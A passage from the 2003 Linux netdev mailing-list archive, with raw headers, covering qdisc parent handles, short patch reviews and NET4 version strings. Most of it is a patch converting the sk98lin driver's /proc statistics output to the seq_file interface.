cc: Subject: Re: 2.6.0-test4, 2.5.47, child qdiscs, parent not filled out? In-Reply-To: <20030903102803.GA11876@outpost.ds9a.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5601 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: devik@cdi.cz Precedence: bulk X-list: netdev > Devik (I hope we can be friends again :-)), others, yep I think so :-) > If I create a cbq with several classes, and attach a qdisc to those classes, > a later netlink dump (RTM_GETQDISCS) returns parent as 0:0 for that qdisc, > is this right? structure Qdisc has DEPRECATED field __parent pointing to parent qdisc (aparently CBQ needs it). There is no other "parent" info in the struct so it can't be returned IMHO. You will have to parse all clases from root to leaves. Maybe we could add parent handle to qdisc but it is question to Alexey probably - I'm not sure how complex would it be to keep the field in sync ... devik From jgarzik@pobox.com Thu Sep 4 16:06:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 16:06:45 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84N6gWZ003977 for ; Thu, 4 Sep 2003 16:06:42 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35366 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19uiLT-0001ST-2S; Thu, 04 Sep 2003 01:51:31 +0100 Message-ID: <3F568C88.4030303@pobox.com> Date: Wed, 03 Sep 2003 20:51:20 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Stephen Hemminger CC: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] (1/8) add probe_old_netdevs hook References: <20030903164908.14705874.shemminger@osdl.org> In-Reply-To: <20030903164908.14705874.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5602 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev All the patches except for #3 look ok to me. David? From shemminger@osdl.org Thu Sep 4 16:07:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 16:07:34 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84N7RWZ004243 for ; Thu, 4 Sep 2003 16:07:28 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h84N7Co21770; Thu, 4 Sep 2003 16:07:12 -0700 Date: Thu, 4 Sep 2003 16:06:58 -0700 From: Stephen Hemminger To: Jeff Garzik , Mirko Lindner , Ralph Roesler Cc: netdev@oss.sgi.com Subject: [RFT] simplify skge /proc interface. Message-Id: <20030904160658.5ae22c0d.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5603 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev This patch is against 2.6.0-test4 and simplifys the /proc interface for the skge driver. * Use seq_file single_open interface to avoid possible buffer over run and formatting issues. * Put pointer to device in the proc dir private data to avoid having to search through devices to find the info. * Use %lld rather than special formatting code * use proc_mkdir * Don't die if proc fs is not configured or creating entries fails. New code is written in kernel style. Builds and loads but don't have real hardware. Could someone please test this with a real board? Somewhere in this 8K line driver is a 1000 line driver waiting to get out... diff -Nru a/drivers/net/sk98lin/skge.c b/drivers/net/sk98lin/skge.c --- a/drivers/net/sk98lin/skge.c Thu Sep 4 15:53:18 2003 +++ b/drivers/net/sk98lin/skge.c Thu Sep 4 15:53:18 2003 @@ -526,13 +526,11 @@ ******************************************************************************/ static const char SK_Root_Dir_entry[] = "sk98lin"; + +#ifdef CONFIG_PROC_FS static struct proc_dir_entry *pSkRootDir; -extern int sk_proc_read( char *buffer, - char **buffer_location, - off_t offset, - int buffer_length, - int *eof, - void *data); +extern struct file_operations sk_proc_fops; +#endif extern void SkDimEnableModerationIfNeeded(SK_AC *pAC); extern void SkDimDisplayModerationSettings(SK_AC *pAC); @@ -573,7 +571,6 @@ */ static int __init skge_probe (void) { - int proc_root_initialized = 0; int boards_found = 0; int vendor_flag = SK_FALSE; SK_AC *pAC; @@ -724,30 +721,31 @@ SK_MEMCPY(&SK_Root_Dir_entry, BootString, sizeof(SK_Root_Dir_entry) - 1); +#ifdef CONFIG_PROC_FS /*Create proc (directory)*/ - if(!proc_root_initialized) { - pSkRootDir = create_proc_entry(SK_Root_Dir_entry, - S_IFDIR | S_IWUSR | S_IRUGO | S_IXUGO, proc_net); - pSkRootDir->owner = THIS_MODULE; - proc_root_initialized = 1; + if(!pSkRootDir) { + pSkRootDir = proc_mkdir(SK_Root_Dir_entry, + proc_net); + if (!pSkRootDir) { + printk(KERN_WARNING "%s: Unable to create /proc/net/%s", + dev->name, SK_Root_Dir_entry); + /* not fatal */ + } else + pSkRootDir->owner = THIS_MODULE; } - +#endif } - +#ifdef CONFIG_PROC_FS /* Create proc file */ - pProcFile = create_proc_entry(dev->name, - S_IFREG | S_IXUSR | S_IWGRP | S_IROTH, - pSkRootDir); - - - pProcFile->read_proc = sk_proc_read; - pProcFile->write_proc = NULL; - pProcFile->nlink = 1; - pProcFile->size = sizeof(dev->name + 1); - pProcFile->data = (void *)pProcFile; - pProcFile->owner = THIS_MODULE; + if (pSkRootDir) { + pProcFile = create_proc_entry(dev->name, S_IRUGO, + pSkRootDir); + pProcFile->proc_fops = &sk_proc_fops; + pProcFile->data = dev; + } +#endif pNet->PortNr = 0; pNet->NetNr = 0; @@ -798,17 +796,14 @@ #endif #endif - pProcFile = create_proc_entry(dev->name, - S_IFREG | S_IXUSR | S_IWGRP | S_IROTH, - pSkRootDir); - - - pProcFile->read_proc = sk_proc_read; - pProcFile->write_proc = NULL; - pProcFile->nlink = 1; - pProcFile->size = sizeof(dev->name + 1); - pProcFile->data = (void *)pProcFile; - pProcFile->owner = THIS_MODULE; +#ifdef CONFIG_PROC_FS + if (pSkRootDir) { + pProcFile = create_proc_entry(dev->name, S_IRUGO, + pSkRootDir); + pProcFile->proc_fops = &sk_proc_fops; + pProcFile->data = dev; + } +#endif memcpy((caddr_t) &dev->dev_addr, (caddr_t) &pAC->Addr.Net[1].CurrentMacAddress, 6); diff -Nru a/drivers/net/sk98lin/skproc.c b/drivers/net/sk98lin/skproc.c --- a/drivers/net/sk98lin/skproc.c Thu Sep 4 15:53:18 2003 +++ b/drivers/net/sk98lin/skproc.c Thu Sep 4 15:53:18 2003 @@ -83,452 +83,219 @@ ******************************************************************************/ #include +#include #include "h/skdrv1st.h" #include "h/skdrv2nd.h" -#define ZEROPAD 1 /* pad with zero */ -#define SIGN 2 /* unsigned/signed long */ -#define PLUS 4 /* show plus */ -#define SPACE 8 /* space if plus */ -#define LEFT 16 /* left justified */ -#define SPECIALX 32 /* 0x */ -#define LARGE 64 - - extern struct net_device *SkGeRootDev; - -extern char * SkNumber( - char * str, - long long num, - int base, - int size, - int precision, - int type); - -int sk_proc_read(char *buffer, - char **buffer_location, - off_t offset, - int buffer_length, - int *eof, - void *data); +#ifdef CONFIG_PROC_FS - -/***************************************************************************** - * - * sk_proc_read - print "summaries" entry - * - * Description: - * This function fills the proc entry with statistic data about - * the ethernet device. - * - * - * Returns: buffer with statistic data - * - */ -int sk_proc_read(char *buffer, -char **buffer_location, -off_t offset, -int buffer_length, -int *eof, -void *data) +static int sk_seq_show(struct seq_file *seq, void *v) { - int len = 0; - int t; + const struct net_device *dev = v; + const struct s_DevNet *pNet = dev->priv; + const struct s_AC *pAC = pNet->pAC; + const struct s_PnmiStrucData *pPnmiStruct = &pAC->PnmiStruct; + const struct s_PnmiStat *pPnmiStat = &pPnmiStruct->Stat[0]; int i; - DEV_NET *pNet; - SK_AC *pAC; - char test_buf[100]; - char sens_msg[50]; - unsigned long Flags; - unsigned int Size; - struct SK_NET_DEVICE *next; - struct SK_NET_DEVICE *SkgeProcDev = SkGeRootDev; - - SK_PNMI_STRUCT_DATA *pPnmiStruct; - SK_PNMI_STAT *pPnmiStat; - struct proc_dir_entry *file = (struct proc_dir_entry*) data; - - while (SkgeProcDev) { - pNet = (DEV_NET*) SkgeProcDev->priv; - pAC = pNet->pAC; - next = pAC->Next; - pPnmiStruct = &pAC->PnmiStruct; - /* NetIndex in GetStruct is now required, zero is only dummy */ - - for (t=pAC->GIni.GIMacsFound; t > 0; t--) { - if ((pAC->GIni.GIMacsFound == 2) && pAC->RlmtNets == 1) - t--; - - spin_lock_irqsave(&pAC->SlowPathLock, Flags); - Size = SK_PNMI_STRUCT_SIZE; - SkPnmiGetStruct(pAC, pAC->IoBase, - pPnmiStruct, &Size, t-1); - spin_unlock_irqrestore(&pAC->SlowPathLock, Flags); - - if (strcmp(pAC->dev[t-1]->name, file->name) == 0) { - pPnmiStat = &pPnmiStruct->Stat[0]; - len = sprintf(buffer, - "\nDetailed statistic for device %s\n", - pAC->dev[t-1]->name); - len += sprintf(buffer + len, - "=======================================\n"); + int unit = !(pAC->dev[0] == dev); + char sens_msg[50]; + + seq_printf(seq, + "\nDetailed statistic for device %s\n", + dev->name); + seq_puts(seq, + "=======================================\n"); + + /* Board statistics */ + seq_puts(seq, "\nBoard statistics\n\n"); - /* Board statistics */ - len += sprintf(buffer + len, - "\nBoard statistics\n\n"); - len += sprintf(buffer + len, - "Active Port %c\n", - 'A' + pAC->Rlmt.Net[t-1].Port[pAC->Rlmt. - Net[t-1].PrefPort]->PortNumber); - len += sprintf(buffer + len, - "Preferred Port %c\n", - 'A' + pAC->Rlmt.Net[t-1].Port[pAC->Rlmt. - Net[t-1].PrefPort]->PortNumber); - - len += sprintf(buffer + len, - "Bus speed (MHz) %d\n", - pPnmiStruct->BusSpeed); - - len += sprintf(buffer + len, - "Bus width (Bit) %d\n", - pPnmiStruct->BusWidth); - len += sprintf(buffer + len, - "Hardware revision v%d.%d\n", - (pAC->GIni.GIPciHwRev >> 4) & 0x0F, - pAC->GIni.GIPciHwRev & 0x0F); - - /* Print sensor informations */ - for (i=0; i < pAC->I2c.MaxSens; i ++) { - /* Check type */ - switch (pAC->I2c.SenTable[i].SenType) { - case 1: - strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); - strcat(sens_msg, " (C)"); - len += sprintf(buffer + len, - "%-25s %d.%02d\n", - sens_msg, - pAC->I2c.SenTable[i].SenValue / 10, - pAC->I2c.SenTable[i].SenValue % 10); - - strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); - strcat(sens_msg, " (F)"); - len += sprintf(buffer + len, - "%-25s %d.%02d\n", - sens_msg, - ((((pAC->I2c.SenTable[i].SenValue) - *10)*9)/5 + 3200)/100, - ((((pAC->I2c.SenTable[i].SenValue) - *10)*9)/5 + 3200) % 10); - break; - case 2: - strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); - strcat(sens_msg, " (V)"); - len += sprintf(buffer + len, - "%-25s %d.%03d\n", - sens_msg, - pAC->I2c.SenTable[i].SenValue / 1000, - pAC->I2c.SenTable[i].SenValue % 1000); - break; - case 3: - strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); - strcat(sens_msg, " (rpm)"); - len += sprintf(buffer + len, - "%-25s %d\n", - sens_msg, - pAC->I2c.SenTable[i].SenValue); - break; - default: - break; - } - } + seq_printf(seq, "Active Port %c\n", + 'A' + pAC->Rlmt.Net[unit].Port[pAC->Rlmt. + Net[unit].PrefPort]->PortNumber); + + seq_printf(seq, "Preferred Port %c\n", + 'A' + pAC->Rlmt.Net[unit].Port[pAC->Rlmt. + Net[unit].PrefPort]->PortNumber); + + seq_printf(seq, "Bus speed (MHz) %d\n", + pPnmiStruct->BusSpeed); + + seq_printf(seq, + "Bus width (Bit) %d\n", + pPnmiStruct->BusWidth); + seq_printf(seq, + "Hardware revision v%d.%d\n", + (pAC->GIni.GIPciHwRev >> 4) & 0x0F, + pAC->GIni.GIPciHwRev & 0x0F); + + /* Print sensor informations */ + for (i=0; i < pAC->I2c.MaxSens; i ++) { + /* Check type */ + switch (pAC->I2c.SenTable[i].SenType) { + case 1: + strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); + strcat(sens_msg, " (C)"); + seq_printf(seq, + "%-25s %d.%02d\n", + sens_msg, + pAC->I2c.SenTable[i].SenValue / 10, + pAC->I2c.SenTable[i].SenValue % 10); + + strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); + strcat(sens_msg, " (F)"); + seq_printf(seq, + "%-25s %d.%02d\n", + sens_msg, + ((((pAC->I2c.SenTable[i].SenValue) + *10)*9)/5 + 3200)/100, + ((((pAC->I2c.SenTable[i].SenValue) + *10)*9)/5 + 3200) % 10); + break; + case 2: + strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); + strcat(sens_msg, " (V)"); + seq_printf(seq, + "%-25s %d.%03d\n", + sens_msg, + pAC->I2c.SenTable[i].SenValue / 1000, + pAC->I2c.SenTable[i].SenValue % 1000); + break; + case 3: + strcpy(sens_msg, pAC->I2c.SenTable[i].SenDesc); + strcat(sens_msg, " (rpm)"); + seq_printf(seq, + "%-25s %d\n", + sens_msg, + pAC->I2c.SenTable[i].SenValue); + break; + default: + break; + } + } - /*Receive statistics */ - len += sprintf(buffer + len, - "\nReceive statistics\n\n"); - - len += sprintf(buffer + len, - "Received bytes %s\n", - SkNumber(test_buf, pPnmiStat->StatRxOctetsOkCts, - 10,0,-1,0)); - len += sprintf(buffer + len, - "Received packets %s\n", - SkNumber(test_buf, pPnmiStat->StatRxOkCts, - 10,0,-1,0)); + /*Receive statistics */ + seq_printf(seq, + "\nReceive statistics\n\n"); + + seq_printf(seq, + "Received bytes %lld\n", + pPnmiStat->StatRxOctetsOkCts); + seq_printf(seq, + "Received packets %lld\n", + pPnmiStat->StatRxOkCts); #if 0 - if (pAC->GIni.GP[0].PhyType == SK_PHY_XMAC && - pAC->HWRevision < 12) { - pPnmiStruct->InErrorsCts = pPnmiStruct->InErrorsCts - - pPnmiStat->StatRxShortsCts; - pPnmiStat->StatRxShortsCts = 0; - } + if (pAC->GIni.GP[0].PhyType == SK_PHY_XMAC && + pAC->HWRevision < 12) { + pPnmiStruct->InErrorsCts = pPnmiStruct->InErrorsCts - + pPnmiStat->StatRxShortsCts; + pPnmiStat->StatRxShortsCts = 0; + } #endif - if (pNet->Mtu > 1500) - pPnmiStruct->InErrorsCts = pPnmiStruct->InErrorsCts - - pPnmiStat->StatRxTooLongCts; - - len += sprintf(buffer + len, - "Receive errors %s\n", - SkNumber(test_buf, pPnmiStruct->InErrorsCts, - 10,0,-1,0)); - len += sprintf(buffer + len, - "Receive dropped %s\n", - SkNumber(test_buf, pPnmiStruct->RxNoBufCts, - 10,0,-1,0)); - len += sprintf(buffer + len, - "Received multicast %s\n", - SkNumber(test_buf, pPnmiStat->StatRxMulticastOkCts, - 10,0,-1,0)); - len += sprintf(buffer + len, - "Receive error types\n"); - len += sprintf(buffer + len, - " length %s\n", - SkNumber(test_buf, pPnmiStat->StatRxRuntCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " buffer overflow %s\n", - SkNumber(test_buf, pPnmiStat->StatRxFifoOverflowCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " bad crc %s\n", - SkNumber(test_buf, pPnmiStat->StatRxFcsCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " framing %s\n", - SkNumber(test_buf, pPnmiStat->StatRxFramingCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " missed frames %s\n", - SkNumber(test_buf, pPnmiStat->StatRxMissedCts, - 10, 0, -1, 0)); - - if (pNet->Mtu > 1500) - pPnmiStat->StatRxTooLongCts = 0; - - len += sprintf(buffer + len, - " too long %s\n", - SkNumber(test_buf, pPnmiStat->StatRxTooLongCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " carrier extension %s\n", - SkNumber(test_buf, pPnmiStat->StatRxCextCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " too short %s\n", - SkNumber(test_buf, pPnmiStat->StatRxShortsCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " symbol %s\n", - SkNumber(test_buf, pPnmiStat->StatRxSymbolCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " LLC MAC size %s\n", - SkNumber(test_buf, pPnmiStat->StatRxIRLengthCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " carrier event %s\n", - SkNumber(test_buf, pPnmiStat->StatRxCarrierCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " jabber %s\n", - SkNumber(test_buf, pPnmiStat->StatRxJabberCts, - 10, 0, -1, 0)); - - - /*Transmit statistics */ - len += sprintf(buffer + len, - "\nTransmit statistics\n\n"); - - len += sprintf(buffer + len, - "Transmited bytes %s\n", - SkNumber(test_buf, pPnmiStat->StatTxOctetsOkCts, - 10,0,-1,0)); - len += sprintf(buffer + len, - "Transmited packets %s\n", - SkNumber(test_buf, pPnmiStat->StatTxOkCts, - 10,0,-1,0)); - len += sprintf(buffer + len, - "Transmit errors %s\n", - SkNumber(test_buf, pPnmiStat->StatTxSingleCollisionCts, - 10,0,-1,0)); - len += sprintf(buffer + len, - "Transmit dropped %s\n", - SkNumber(test_buf, pPnmiStruct->TxNoBufCts, - 10,0,-1,0)); - len += sprintf(buffer + len, - "Transmit collisions %s\n", - SkNumber(test_buf, pPnmiStat->StatTxSingleCollisionCts, - 10,0,-1,0)); - len += sprintf(buffer + len, - "Transmit error types\n"); - len += sprintf(buffer + len, - " excessive collision %ld\n", - pAC->stats.tx_aborted_errors); - len += sprintf(buffer + len, - " carrier %s\n", - SkNumber(test_buf, pPnmiStat->StatTxCarrierCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " fifo underrun %s\n", - SkNumber(test_buf, pPnmiStat->StatTxFifoUnderrunCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " heartbeat %s\n", - SkNumber(test_buf, pPnmiStat->StatTxCarrierCts, - 10, 0, -1, 0)); - len += sprintf(buffer + len, - " window %ld\n", - pAC->stats.tx_window_errors); + seq_printf(seq,"Receive errors %lld\n", + (pNet->Mtu > 1500) + ? pPnmiStruct->InErrorsCts - pPnmiStat->StatRxTooLongCts + : pPnmiStruct->InErrorsCts); + + seq_printf(seq, + "Receive dropped %lld\n", + pPnmiStruct->RxNoBufCts); + seq_printf(seq, + "Received multicast %lld\n", + pPnmiStat->StatRxMulticastOkCts); + seq_printf(seq, + "Receive error types\n"); + seq_printf(seq, + " length %lld\n", + pPnmiStat->StatRxRuntCts); + seq_printf(seq, + " buffer overflow %lld\n", + pPnmiStat->StatRxFifoOverflowCts); + seq_printf(seq, + " bad crc %lld\n", + pPnmiStat->StatRxFcsCts); + seq_printf(seq, + " framing %lld\n", + pPnmiStat->StatRxFramingCts); + seq_printf(seq, + " missed frames %lld\n", + pPnmiStat->StatRxMissedCts); + + seq_printf(seq, + " too long %lld\n", + pPnmiStat->StatRxTooLongCts); + + seq_printf(seq, + " carrier extension %lld\n", + pPnmiStat->StatRxCextCts); + seq_printf(seq, + " too short %lld\n", + pPnmiStat->StatRxShortsCts); + seq_printf(seq, + " symbol %lld\n", + pPnmiStat->StatRxSymbolCts); + seq_printf(seq, + " LLC MAC size %lld\n", + pPnmiStat->StatRxIRLengthCts); + seq_printf(seq, + " carrier event %lld\n", + pPnmiStat->StatRxCarrierCts); + seq_printf(seq, + " jabber %lld\n", + pPnmiStat->StatRxJabberCts); + + + /*Transmit statistics */ + seq_printf(seq, + "\nTransmit statistics\n\n"); - } - } - SkgeProcDev = next; - } - if (offset >= len) { - *eof = 1; - return 0; - } + seq_printf(seq, + "Transmited bytes %lld\n", + pPnmiStat->StatTxOctetsOkCts); + seq_printf(seq, + "Transmited packets %lld\n", + pPnmiStat->StatTxOkCts); + seq_printf(seq, + "Transmit errors %lld\n", + pPnmiStat->StatTxSingleCollisionCts); + seq_printf(seq, + "Transmit dropped %lld\n", + pPnmiStruct->TxNoBufCts); + seq_printf(seq, + "Transmit collisions %lld\n", + pPnmiStat->StatTxSingleCollisionCts); + seq_printf(seq, + "Transmit error types\n"); + seq_printf(seq, + " excessive collision %ld\n", + pAC->stats.tx_aborted_errors); + seq_printf(seq, + " carrier %lld\n", + pPnmiStat->StatTxCarrierCts); + seq_printf(seq, + " fifo underrun %lld\n", + pPnmiStat->StatTxFifoUnderrunCts); + seq_printf(seq, + " heartbeat %lld\n", + pPnmiStat->StatTxCarrierCts); + seq_printf(seq, + " window %ld\n", + pAC->stats.tx_window_errors); - *buffer_location = buffer + offset; - if (buffer_length >= len - offset) { - *eof = 1; - } - return (min_t(int, buffer_length, len - offset)); + return 0; } - - - - -/***************************************************************************** - * - * SkDoDiv - convert 64bit number - * - * Description: - * This function "converts" a long long number. - * - * Returns: - * remainder of division - */ -static long SkDoDiv (long long Dividend, int Divisor, long long *pErg) +static int sk_proc_open(struct inode *inode, struct file *file) { - long Rest; - long long Ergebnis; - long Akku; - - - Akku = Dividend >> 32; - - Ergebnis = ((long long) (Akku / Divisor)) << 32; - Rest = Akku % Divisor ; - - Akku = Rest << 16; - Akku |= ((Dividend & 0xFFFF0000) >> 16); - - - Ergebnis += ((long long) (Akku / Divisor)) << 16; - Rest = Akku % Divisor ; - - Akku = Rest << 16; - Akku |= (Dividend & 0xFFFF); - - Ergebnis += (Akku / Divisor); - Rest = Akku % Divisor ; - - *pErg = Ergebnis; - return (Rest); + return single_open(file, sk_seq_show, PDE(inode)->data); } - -#if 0 -#define do_div(n,base) ({ \ -long long __res; \ -__res = ((unsigned long long) n) % (unsigned) base; \ -n = ((unsigned long long) n) / (unsigned) base; \ -__res; }) +struct file_operations sk_proc_fops = { + .owner = THIS_MODULE, + .open = sk_proc_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; #endif - - -/***************************************************************************** - * - * SkNumber - Print results - * - * Description: - * This function converts a long long number into a string. - * - * Returns: - * number as string - */ -char * SkNumber(char * str, long long num, int base, int size, int precision - ,int type) -{ - char c,sign,tmp[66], *strorg = str; - const char *digits="0123456789abcdefghijklmnopqrstuvwxyz"; - int i; - - if (type & LARGE) - digits = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - if (type & LEFT) - type &= ~ZEROPAD; - if (base < 2 || base > 36) - return 0; - c = (type & ZEROPAD) ? '0' : ' '; - sign = 0; - if (type & SIGN) { - if (num < 0) { - sign = '-'; - num = -num; - size--; - } else if (type & PLUS) { - sign = '+'; - size--; - } else if (type & SPACE) { - sign = ' '; - size--; - } - } - if (type & SPECIALX) { - if (base == 16) - size -= 2; - else if (base == 8) - size--; - } - i = 0; - if (num == 0) - tmp[i++]='0'; - else while (num != 0) - tmp[i++] = digits[SkDoDiv(num,base, &num)]; - - if (i > precision) - precision = i; - size -= precision; - if (!(type&(ZEROPAD+LEFT))) - while(size-->0) - *str++ = ' '; - if (sign) - *str++ = sign; - if (type & SPECIALX) { - if (base==8) - *str++ = '0'; - else if (base==16) { - *str++ = '0'; - *str++ = digits[33]; - } - } - if (!(type & LEFT)) - while (size-- > 0) - *str++ = c; - while (i < precision--) - *str++ = '0'; - while (i-- > 0) - *str++ = tmp[i]; - while (size-- > 0) - *str++ = ' '; - - str[0] = '\0'; - - return strorg; -} - - - From jgarzik@pobox.com Thu Sep 4 16:14:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 16:14:06 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84NE3WZ005168 for ; Thu, 4 Sep 2003 16:14:04 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:35368 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19uiQQ-0001Vs-9l; Thu, 04 Sep 2003 01:56:38 +0100 Message-ID: <3F568DBA.2060905@pobox.com> Date: Wed, 03 Sep 2003 20:56:26 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Francois Romieu CC: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.0-test4-bk5 - Was: Re: The recent free_netdev() conversion... References: <3F535EBD.6090401@pobox.com> <20030901075345.4c35e3e6.davem@redhat.com> <3F536CB7.6060404@pobox.com> <20030901085814.5a333518.davem@redhat.com> <20030904003306.A14624@electric-eye.fr.zoreil.com> In-Reply-To: <20030904003306.A14624@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5604 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev patch looks OK to me. From ak@suse.de Thu Sep 4 16:30:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 16:31:27 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84NUgWZ006766 for ; Thu, 4 Sep 2003 16:30:43 -0700 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id D8C0C15B262E; Fri, 5 Sep 2003 01:07:26 +0200 (CEST) Date: Fri, 5 Sep 2003 01:07:25 +0200 From: Andi Kleen To: "David S. Miller" Cc: levon@movementarian.org, netdev@oss.sgi.com Subject: Re: [PATCH] remove net/README Message-Id: <20030905010725.5ee10cbf.ak@suse.de> In-Reply-To: <20030904074520.5dceff3e.davem@redhat.com> References: <20030904145204.GA27953@compsoc.man.ac.uk> <20030904074520.5dceff3e.davem@redhat.com> X-Mailer: Sylpheed version 0.8.9 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5605 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Thu, 4 Sep 2003 07:45:20 -0700 "David S. Miller" wrote: > On Thu, 4 Sep 2003 15:52:04 +0100 > John Levon wrote: > > > This file seems bitrotted and more up to date info is available in > > MAINTAINERS in large part. > > For some reason I deleted this file from 2.4.x but I never > did it for 2.5.x, fixed... When you're doing janitor type stuff currently I would also suggest an update of the NET4 version numbers: Linux NET4.0 for Linux 2.x -> NET4.1 for Linux 2.6 ? (not that many changes since 2.4, but still a minor increase would be ok) NET4: Linux TCP/IP 1.0 for NET4.0 (-> 1.1 would be reasonable for TCP/IP and s/4.0/4.1/) IPv6 v0.8 for NET4.0 (IPv6 has changed a lot, it would probably deserve an 1.0 now. also 4.0 -> 4.1) Also some other users have similar version strings which could be all updated to NET4.1 (appletalk, IPX, decnet etc.) -Andi From sri@us.ibm.com Thu Sep 4 16:49:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Sep 2003 16:49:48 -0700 (PDT) Received: from over.ny.us.ibm.com (over.ny.us.ibm.com [32.97.182.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h84NnVWZ008434 for ; Thu, 4 Sep 2003 16:49:38 -0700 Received: from e6.ny.us.ibm.com ([9.14.6.106]) by pokfb.esmtp.ibm.com (8.12.9/8.12.2) with ESMTP id h84N0ZYE465844 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for ; Thu, 4 Sep 2003 19:00:36 -0400 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e6.ny.us.ibm.com (8.12.9/8.12.2) with ESMTP id h84MtTSO312440; Thu, 4 Sep 2003 18:55:29 -0400 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h84MtR4d057878; Thu, 4 Sep 2003 18:55:28 -0400 Date: Thu, 4 Sep 2003 15:55:27 -0700 (PDT) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [BK PATCH] SCTP updates. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5606 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: 